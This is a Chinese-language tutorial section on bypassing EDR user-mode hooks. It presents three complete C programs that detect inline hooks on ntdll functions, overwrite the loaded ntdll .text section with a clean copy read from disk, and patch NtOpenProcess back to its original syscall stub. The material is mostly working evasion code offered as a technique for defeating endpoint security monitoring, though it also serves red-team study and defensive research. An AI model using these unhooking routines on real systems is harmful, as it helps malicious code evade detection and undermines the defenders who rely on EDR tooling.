绕过用户态Hooking
在上个小节,我们讨论了 EDR 在用户态设置 Hook 的原理,那么相应地,我们可以根据这原理寻找间隙,实现对用户态 Hook 的绕过。截至目前,已经有多种方法绕过 Hook。不过,Hook 并非 EDR 的全部检测能力的来源,因此绕过 Hook 的这个过程本身可能就会被检测为恶意。不过无论如何,在这个小节,我们会过一下常见的一些用于绕过 Hook 的方法,以及它们的 IOC。在下个小节,我们会继续探讨绕过用户态 Hook 的方法,虽然会更加复杂一些。
检测内联 Hook
内联 Hook 的实施是在要 Hook 的 NTAPI 的 syscall stub 中的 syscall 指令之前用无条件跳转指令覆盖原有指令。不同的 EDR 可能会覆盖不同的指令,例如 CrowdStrike 覆盖的是 mov eax, SSN 这条指令,有的 EDR 覆盖的是 mov r10, rcx 这条指令。
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>
//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
PPEB peb = (PPEB)(__readgsqword(0x60));
PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}
BOOL CheckFuncByName(IN HMODULE hModule, const CHAR * funcName)
{
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return false;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return false;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
{
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (_stricmp(funcName,pFunctionName)==0)
{
// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
{
printf("NTAPI %s may not be hooked\n", funcName);
}
else
{
printf("NTAPI %s is hooked\n", funcName);
return true;
}
return false;
}
}
return false;
}
int main()
{
HMODULE ntdll;
HMODULE kernel32;
GetModule(&ntdll, &kernel32);
printf("ntdll base address: %p\n", ntdll);
printf("kernel32 base address: %p\n", kernel32);
CheckFuncByName(ntdll,"NtAllocateVirtualMemory");
CheckFuncByName(ntdll, "NtOpenProcess");
CheckFuncByName(ntdll, "NtReadVirtualMemory");
CheckFuncByName(ntdll, "NtWriteVirtualMemory");
return 0;
}
编译后,使用 WinDBG 来调试该程序,通过手动修改 NtOpenProcess 的第一条指令来模拟 hook。程序也成功地检测出 NtOpenProcess API 的指令被纂改。
替换 .text 节
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
PPEB peb = (PPEB)(__readgsqword(0x60));
PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}
BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName)
{
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return false;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return false;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
{
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (_stricmp(funcName, pFunctionName) == 0)
{
// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
{
printf("NTAPI %s may not be hooked\n", funcName);
}
else
{
printf("NTAPI %s is hooked\n", funcName);
return true;
}
return false;
}
}
return false;
}
int main()
{
HMODULE ntdll;
HMODULE kernel32;
GetModule(&ntdll, &kernel32);
printf("ntdll base address: %p\n", ntdll);
printf("kernel32 base address: %p\n", kernel32);
CheckFuncByName(ntdll, "NtOpenProcess");
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed With Error : %d \n\n", GetLastError());
return -1;
}
DWORD dwFileLen = GetFileSize(hFile, NULL);
DWORD dwNumberOfBytesRead;
PVOID pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead)
{
printf("[!] ReadFile Failed With Error : %d \n\n", GetLastError());
return -1;
}
if (hFile)
{
CloseHandle(hFile);
}
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdll;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdll + hookedDosHeader->e_lfanew);
PIMAGE_DOS_HEADER CleanDosHeader = (PIMAGE_DOS_HEADER)pNtdllBuffer;
PIMAGE_NT_HEADERS CleanNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllBuffer + CleanDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
PIMAGE_SECTION_HEADER CleanSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CleanNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
{
LPVOID hookedTextSection = (LPVOID)((DWORD_PTR)ntdll + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
LPVOID CleanTextSection = (LPVOID)((DWORD_PTR)pNtdllBuffer + (DWORD_PTR)CleanSectionHeader->PointerToRawData);
size_t size_TextSection = (hookedSectionHeader->Misc.VirtualSize > CleanSectionHeader->SizeOfRawData) ? hookedSectionHeader->Misc.VirtualSize : CleanSectionHeader->SizeOfRawData;
DWORD oldProtection = 0;
bool isProtected = VirtualProtect(hookedTextSection, size_TextSection, PAGE_EXECUTE_READWRITE, &oldProtection);
ZeroMemory(hookedTextSection, size_TextSection);
memcpy(hookedTextSection, CleanTextSection, size_TextSection);
isProtected = VirtualProtect(hookedTextSection, size_TextSection, oldProtection, &oldProtection);
}
}
CheckFuncByName(ntdll, "NtOpenProcess");
return 0;
}
编译后,我们使用 WinDBG 来调试该程序,为了模拟 hook,我们手动修改 NtOpenProcess API 的第一条指令,并且确认了该修改是成功的。在程序运行结束后,查看该 API,发现代码被恢复成原有的了。因此,通过替换 .text 节,我们可以实现对用户态 Hook 的绕过。
补丁 NTAPI
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
PPEB peb = (PPEB)(__readgsqword(0x60));
PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}
BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName, unsigned char* cleanNTAPI)
{
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return false;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return false;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
{
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (_stricmp(funcName, pFunctionName) == 0)
{
// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
{
printf("NTAPI %s may not be hooked\n", funcName);
}
else
{
printf("NTAPI %s is hooked, its address is 0x%x\n", funcName, pFunctionAddress);
DWORD_PTR pageStart = ((DWORD_PTR)pFunctionAddress / 0x1000) * 0x1000;
printf("Start address of the page is 0x%x\n", pageStart);
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((PBYTE)pageStart, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy(pFunctionAddress, cleanNTAPI, 0xb);
isProtected = VirtualProtect((PBYTE)pageStart,0x1000, oldProtection, &oldProtection);
return true;
}
return false;
}
}
return false;
}
int main()
{
HMODULE ntdll;
HMODULE kernel32;
GetModule(&ntdll, &kernel32);
printf("ntdll base address: %p\n", ntdll);
printf("kernel32 base address: %p\n", kernel32);
unsigned char cleanNtOpenProcess[] = "\x4c\x8b\xd1\xb8\x26\x00\x00\x00\x0f\x05\xc3";
CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
return 0;
}